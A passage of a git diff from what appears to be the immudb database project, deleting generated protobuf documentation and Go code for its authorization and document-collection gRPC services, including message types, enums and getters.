Handler: _AuthorizationService_OpenSessionV2_Handler, - }, - }, - Streams: []grpc.StreamDesc{}, - Metadata: "authorizationschema.proto", -} diff --git a/pkg/api/authorizationschema/docs.md b/pkg/api/authorizationschema/docs.md deleted file mode 100644 index 3a58afd91a..0000000000 --- a/pkg/api/authorizationschema/docs.md +++ /dev/null @@ -1,96 +0,0 @@ -# Protocol Documentation - - -## Table of Contents - -- [authorizationschema.proto](#authorizationschema.proto) - - [OpenSessionRequestV2](#immudb.authorizationschema.OpenSessionRequestV2) - - [OpenSessionResponseV2](#immudb.authorizationschema.OpenSessionResponseV2) - - - [AuthorizationService](#immudb.authorizationschema.AuthorizationService) - -- [Scalar Value Types](#scalar-value-types) - - - - -

Top

- -## authorizationschema.proto - - - - - -### OpenSessionRequestV2 - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| username | [string](#string) | | | -| password | [string](#string) | | | -| database | [string](#string) | | | - - - - - - - - -### OpenSessionResponseV2 - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| token | [string](#string) | | | -| serverUUID | [string](#string) | | | -| expirationTimestamp | [int32](#int32) | | | -| inactivityTimestamp | [int32](#int32) | | | - - - - - - - - - - - - - - -### AuthorizationService - - -| Method Name | Request Type | Response Type | Description | -| ----------- | ------------ | ------------- | ------------| -| OpenSessionV2 | [OpenSessionRequestV2](#immudb.authorizationschema.OpenSessionRequestV2) | [OpenSessionResponseV2](#immudb.authorizationschema.OpenSessionResponseV2) | | - - - - - -## Scalar Value Types - -| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | -| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | -| double | | double | double | float | float64 | double | float | Float | -| float | | float | float | float | float32 | float | float | Float | -| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | -| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | -| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | -| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | -| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | -| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | -| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | - diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md deleted file mode 100644 index ef5df84f55..0000000000 --- a/pkg/api/documentschema/docs.md +++ /dev/null @@ -1,608 +0,0 @@ -# Protocol Documentation - - -## Table of Contents - -- [documentschema.proto](#documentschema.proto) - - [CollectionCreateRequest](#immudb.documentschema.CollectionCreateRequest) - - [CollectionCreateRequest.IndexKeysEntry](#immudb.documentschema.CollectionCreateRequest.IndexKeysEntry) - - [CollectionCreateResponse](#immudb.documentschema.CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) - - [CollectionGetRequest](#immudb.documentschema.CollectionGetRequest) - - [CollectionGetResponse](#immudb.documentschema.CollectionGetResponse) - - [CollectionInformation](#immudb.documentschema.CollectionInformation) - - [CollectionInformation.IndexKeysEntry](#immudb.documentschema.CollectionInformation.IndexKeysEntry) - - [CollectionListRequest](#immudb.documentschema.CollectionListRequest) - - [CollectionListResponse](#immudb.documentschema.CollectionListResponse) - - [CollectionUpdateRequest](#immudb.documentschema.CollectionUpdateRequest) - - [CollectionUpdateRequest.AddIndexesEntry](#immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry) - - [CollectionUpdateResponse](#immudb.documentschema.CollectionUpdateResponse) - - [DocumentAudit](#immudb.documentschema.DocumentAudit) - - [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) - - [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) - - [DocumentInsertManyRequest](#immudb.documentschema.DocumentInsertManyRequest) - - [DocumentInsertManyResponse](#immudb.documentschema.DocumentInsertManyResponse) - - [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) - - [DocumentInsertResponse](#immudb.documentschema.DocumentInsertResponse) - - [DocumentProofRequest](#immudb.documentschema.DocumentProofRequest) - - [DocumentProofResponse](#immudb.documentschema.DocumentProofResponse) - - [DocumentQuery](#immudb.documentschema.DocumentQuery) - - [DocumentSearchRequest](#immudb.documentschema.DocumentSearchRequest) - - [DocumentSearchResponse](#immudb.documentschema.DocumentSearchResponse) - - [DocumentUpdateRequest](#immudb.documentschema.DocumentUpdateRequest) - - [DocumentUpdateResponse](#immudb.documentschema.DocumentUpdateResponse) - - [IndexOption](#immudb.documentschema.IndexOption) - - [IndexValue](#immudb.documentschema.IndexValue) - - - [IndexType](#immudb.documentschema.IndexType) - - [QueryOperator](#immudb.documentschema.QueryOperator) - - - [DocumentService](#immudb.documentschema.DocumentService) - -- [Scalar Value Types](#scalar-value-types) - - - - -

Top

- -## documentschema.proto - - - - - -### CollectionCreateRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.documentschema.CollectionCreateRequest.IndexKeysEntry) | repeated | | - - - - - - - - -### CollectionCreateRequest.IndexKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - - - - - - - - -### CollectionCreateResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [CollectionInformation](#immudb.documentschema.CollectionInformation) | | | - - - - - - - - -### CollectionDeleteRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - - - - -### CollectionDeleteResponse - - - - - - - - - -### CollectionGetRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - - - - -### CollectionGetResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [CollectionInformation](#immudb.documentschema.CollectionInformation) | | | - - - - - - - - -### CollectionInformation - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.documentschema.CollectionInformation.IndexKeysEntry) | repeated | | - - - - - - - - -### CollectionInformation.IndexKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - - - - - - - - -### CollectionListRequest - - - - - - - - - -### CollectionListResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collections | [CollectionInformation](#immudb.documentschema.CollectionInformation) | repeated | | - - - - - - - - -### CollectionUpdateRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| addIndexes | [CollectionUpdateRequest.AddIndexesEntry](#immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry) | repeated | | -| removeIndexes | [string](#string) | repeated | | - - - - - - - - -### CollectionUpdateRequest.AddIndexesEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - - - - - - - - -### CollectionUpdateResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [CollectionInformation](#immudb.documentschema.CollectionInformation) | | | - - - - - - - - -### DocumentAudit - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | -| revision | [uint64](#uint64) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - - - - - - - - -### DocumentAuditRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| documentId | [string](#string) | | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | - - - - - - - - -### DocumentAuditResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| results | [DocumentAudit](#immudb.documentschema.DocumentAudit) | repeated | | - - - - - - - - -### DocumentInsertManyRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | - - - - - - - - -### DocumentInsertManyResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| documentIds | [string](#string) | repeated | | -| transactionId | [uint64](#uint64) | | | - - - - - - - - -### DocumentInsertRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - - - - - - - - -### DocumentInsertResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| documentId | [string](#string) | | | -| transactionId | [uint64](#uint64) | | | - - - - - - - - -### DocumentProofRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| documentId | [string](#string) | | | -| transactionId | [uint64](#uint64) | | | -| proofSinceTransactionId | [uint64](#uint64) | | | - - - - - - - - -### DocumentProofResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| database | [string](#string) | | | -| collectionId | [uint32](#uint32) | | | -| encodedDocument | [bytes](#bytes) | | | -| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | - - - - - - - - -### DocumentQuery - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| field | [string](#string) | | | -| operator | [QueryOperator](#immudb.documentschema.QueryOperator) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | - - - - - - - - -### DocumentSearchRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [DocumentQuery](#immudb.documentschema.DocumentQuery) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | -| searchID | [string](#string) | | | - - - - - - - - -### DocumentSearchResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | -| searchID | [string](#string) | | | - - - - - - - - -### DocumentUpdateRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [DocumentQuery](#immudb.documentschema.DocumentQuery) | repeated | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - - - - - - - - -### DocumentUpdateResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | -| revision | [uint64](#uint64) | | | - - - - - - - - -### IndexOption - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| type | [IndexType](#immudb.documentschema.IndexType) | | | -| isUnique | [bool](#bool) | | | - - - - - - - - -### IndexValue - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| null_value | [google.protobuf.NullValue](#google.protobuf.NullValue) | | | -| number_value | [double](#double) | | | -| string_value | [string](#string) | | | -| bool_value | [bool](#bool) | | | - - - - - - - - - - -### IndexType - - -| Name | Number | Description | -| ---- | ------ | ----------- | -| DOUBLE | 0 | | -| INTEGER | 1 | | -| STRING | 2 | | - - - - - -### QueryOperator - - -| Name | Number | Description | -| ---- | ------ | ----------- | -| EQ | 0 | | -| NE | 1 | | -| LT | 2 | | -| LE | 3 | | -| GT | 4 | | -| GE | 5 | | -| LIKE | 6 | | - - - - - - - - - -### DocumentService - - -| Method Name | Request Type | Response Type | Description | -| ----------- | ------------ | ------------- | ------------| -| DocumentInsert | [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.documentschema.DocumentInsertResponse) | | -| DocumentUpdate | [DocumentUpdateRequest](#immudb.documentschema.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.documentschema.DocumentUpdateResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb.documentschema.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.documentschema.DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb.documentschema.DocumentProofRequest) | [DocumentProofResponse](#immudb.documentschema.DocumentProofResponse) | | -| CollectionCreate | [CollectionCreateRequest](#immudb.documentschema.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.documentschema.CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb.documentschema.CollectionGetRequest) | [CollectionGetResponse](#immudb.documentschema.CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb.documentschema.CollectionListRequest) | [CollectionListResponse](#immudb.documentschema.CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) | | -| CollectionUpdate | [CollectionUpdateRequest](#immudb.documentschema.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.documentschema.CollectionUpdateResponse) | | -| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.documentschema.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.documentschema.DocumentInsertManyResponse) | | - - - - - -## Scalar Value Types - -| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | -| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | -| double | | double | double | float | float64 | double | float | Float | -| float | | float | float | float | float32 | float | float | Float | -| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | -| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | -| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | -| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | -| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | -| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | -| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | - diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go deleted file mode 100644 index 47de8360c2..0000000000 --- a/pkg/api/documentschema/documentschema.pb.go +++ /dev/null @@ -1,2532 +0,0 @@ -// -//Copyright 2023 Codenotary Inc. All rights reserved. -// -//Licensed under the Apache License, Version 2.0 (the "License"); -//you may not use this file except in compliance with the License. -//You may obtain a copy of the License at -// -//http://www.apache.org/licenses/LICENSE-2.0 -// -//Unless required by applicable law or agreed to in writing, software -//distributed under the License is distributed on an "AS IS" BASIS, -//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -//See the License for the specific language governing permissions and -//limitations under the License. - -// Code generated by protoc-gen-go. DO NOT EDIT. -// versions: -// protoc-gen-go v1.28.0 -// protoc v3.21.9 -// source: documentschema.proto - -package documentschema - -import ( - schema "github.com/codenotary/immudb/pkg/api/schema" - _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" - _ "google.golang.org/genproto/googleapis/api/annotations" - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" - structpb "google.golang.org/protobuf/types/known/structpb" - reflect "reflect" - sync "sync" -) - -const ( - // Verify that this generated code is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) - // Verify that runtime/protoimpl is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) -) - -type QueryOperator int32 - -const ( - QueryOperator_EQ QueryOperator = 0 - QueryOperator_NE QueryOperator = 1 - QueryOperator_LT QueryOperator = 2 - QueryOperator_LE QueryOperator = 3 - QueryOperator_GT QueryOperator = 4 - QueryOperator_GE QueryOperator = 5 - QueryOperator_LIKE QueryOperator = 6 -) - -// Enum value maps for QueryOperator. -var ( - QueryOperator_name = map[int32]string{ - 0: "EQ", - 1: "NE", - 2: "LT", - 3: "LE", - 4: "GT", - 5: "GE", - 6: "LIKE", - } - QueryOperator_value = map[string]int32{ - "EQ": 0, - "NE": 1, - "LT": 2, - "LE": 3, - "GT": 4, - "GE": 5, - "LIKE": 6, - } -) - -func (x QueryOperator) Enum() *QueryOperator { - p := new(QueryOperator) - *p = x - return p -} - -func (x QueryOperator) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (QueryOperator) Descriptor() protoreflect.EnumDescriptor { - return file_documentschema_proto_enumTypes[0].Descriptor() -} - -func (QueryOperator) Type() protoreflect.EnumType { - return &file_documentschema_proto_enumTypes[0] -} - -func (x QueryOperator) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use QueryOperator.Descriptor instead. -func (QueryOperator) EnumDescriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{0} -} - -type IndexType int32 - -const ( - IndexType_DOUBLE IndexType = 0 - IndexType_INTEGER IndexType = 1 - IndexType_STRING IndexType = 2 -) - -// Enum value maps for IndexType. -var ( - IndexType_name = map[int32]string{ - 0: "DOUBLE", - 1: "INTEGER", - 2: "STRING", - } - IndexType_value = map[string]int32{ - "DOUBLE": 0, - "INTEGER": 1, - "STRING": 2, - } -) - -func (x IndexType) Enum() *IndexType { - p := new(IndexType) - *p = x - return p -} - -func (x IndexType) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (IndexType) Descriptor() protoreflect.EnumDescriptor { - return file_documentschema_proto_enumTypes[1].Descriptor() -} - -func (IndexType) Type() protoreflect.EnumType { - return &file_documentschema_proto_enumTypes[1] -} - -func (x IndexType) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use IndexType.Descriptor instead. -func (IndexType) EnumDescriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{1} -} - -type DocumentInsertRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` -} - -func (x *DocumentInsertRequest) Reset() { - *x = DocumentInsertRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentInsertRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentInsertRequest) ProtoMessage() {} - -func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. -func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{0} -} - -func (x *DocumentInsertRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentInsertRequest) GetDocument() *structpb.Struct { - if x != nil { - return x.Document - } - return nil -} - -type DocumentInsertResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - DocumentId string `protobuf:"bytes,1,opt,name=documentId,proto3" json:"documentId,omitempty"` - TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` -} - -func (x *DocumentInsertResponse) Reset() { - *x = DocumentInsertResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentInsertResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentInsertResponse) ProtoMessage() {} - -func (x *DocumentInsertResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentInsertResponse.ProtoReflect.Descriptor instead. -func (*DocumentInsertResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{1} -} - -func (x *DocumentInsertResponse) GetDocumentId() string { - if x != nil { - return x.DocumentId - } - return "" -} - -func (x *DocumentInsertResponse) GetTransactionId() uint64 { - if x != nil { - return x.TransactionId - } - return 0 -} - -type DocumentUpdateRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` - Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` -} - -func (x *DocumentUpdateRequest) Reset() { - *x = DocumentUpdateRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentUpdateRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentUpdateRequest) ProtoMessage() {} - -func (x *DocumentUpdateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentUpdateRequest.ProtoReflect.Descriptor instead. -func (*DocumentUpdateRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{2} -} - -func (x *DocumentUpdateRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentUpdateRequest) GetQuery() []*DocumentQuery { - if x != nil { - return x.Query - } - return nil -} - -func (x *DocumentUpdateRequest) GetDocument() *structpb.Struct { - if x != nil { - return x.Document - } - return nil -} - -type DocumentUpdateResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` -} - -func (x *DocumentUpdateResponse) Reset() { - *x = DocumentUpdateResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentUpdateResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentUpdateResponse) ProtoMessage() {} - -func (x *DocumentUpdateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentUpdateResponse.ProtoReflect.Descriptor instead. -func (*DocumentUpdateResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{3} -} - -func (x *DocumentUpdateResponse) GetTransactionId() uint64 { - if x != nil { - return x.TransactionId - } - return 0 -} - -func (x *DocumentUpdateResponse) GetRevision() uint64 { - if x != nil { - return x.Revision - } - return 0 -} - -type IndexValue struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // Types that are assignable to Kind: - // - // *IndexValue_NullValue - // *IndexValue_NumberValue - // *IndexValue_StringValue - // *IndexValue_BoolValue - Kind isIndexValue_Kind `protobuf_oneof:"kind"` -} - -func (x *IndexValue) Reset() { - *x = IndexValue{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *IndexValue) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*IndexValue) ProtoMessage() {} - -func (x *IndexValue) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use IndexValue.ProtoReflect.Descriptor instead. -func (*IndexValue) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{4} -} - -func (m *IndexValue) GetKind() isIndexValue_Kind { - if m != nil { - return m.Kind - } - return nil -} - -func (x *IndexValue) GetNullValue() structpb.NullValue { - if x, ok := x.GetKind().(*IndexValue_NullValue); ok { - return x.NullValue - } - return structpb.NullValue(0) -} - -func (x *IndexValue) GetNumberValue() float64 { - if x, ok := x.GetKind().(*IndexValue_NumberValue); ok { - return x.NumberValue - } - return 0 -} - -func (x *IndexValue) GetStringValue() string { - if x, ok := x.GetKind().(*IndexValue_StringValue); ok { - return x.StringValue - } - return "" -} - -func (x *IndexValue) GetBoolValue() bool { - if x, ok := x.GetKind().(*IndexValue_BoolValue); ok { - return x.BoolValue - } - return false -} - -type isIndexValue_Kind interface { - isIndexValue_Kind() -} - -type IndexValue_NullValue struct { - NullValue structpb.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` -} - -type IndexValue_NumberValue struct { - NumberValue float64 `protobuf:"fixed64,2,opt,name=number_value,json=numberValue,proto3,oneof"` -} - -type IndexValue_StringValue struct { - StringValue string `protobuf:"bytes,3,opt,name=string_value,json=stringValue,proto3,oneof"` -} - -type IndexValue_BoolValue struct { - BoolValue bool `protobuf:"varint,4,opt,name=bool_value,json=boolValue,proto3,oneof"` -} - -func (*IndexValue_NullValue) isIndexValue_Kind() {} - -func (*IndexValue_NumberValue) isIndexValue_Kind() {} - -func (*IndexValue_StringValue) isIndexValue_Kind() {} - -func (*IndexValue_BoolValue) isIndexValue_Kind() {} - -type DocumentQuery struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` - Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` -} - -func (x *DocumentQuery) Reset() { - *x = DocumentQuery{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - 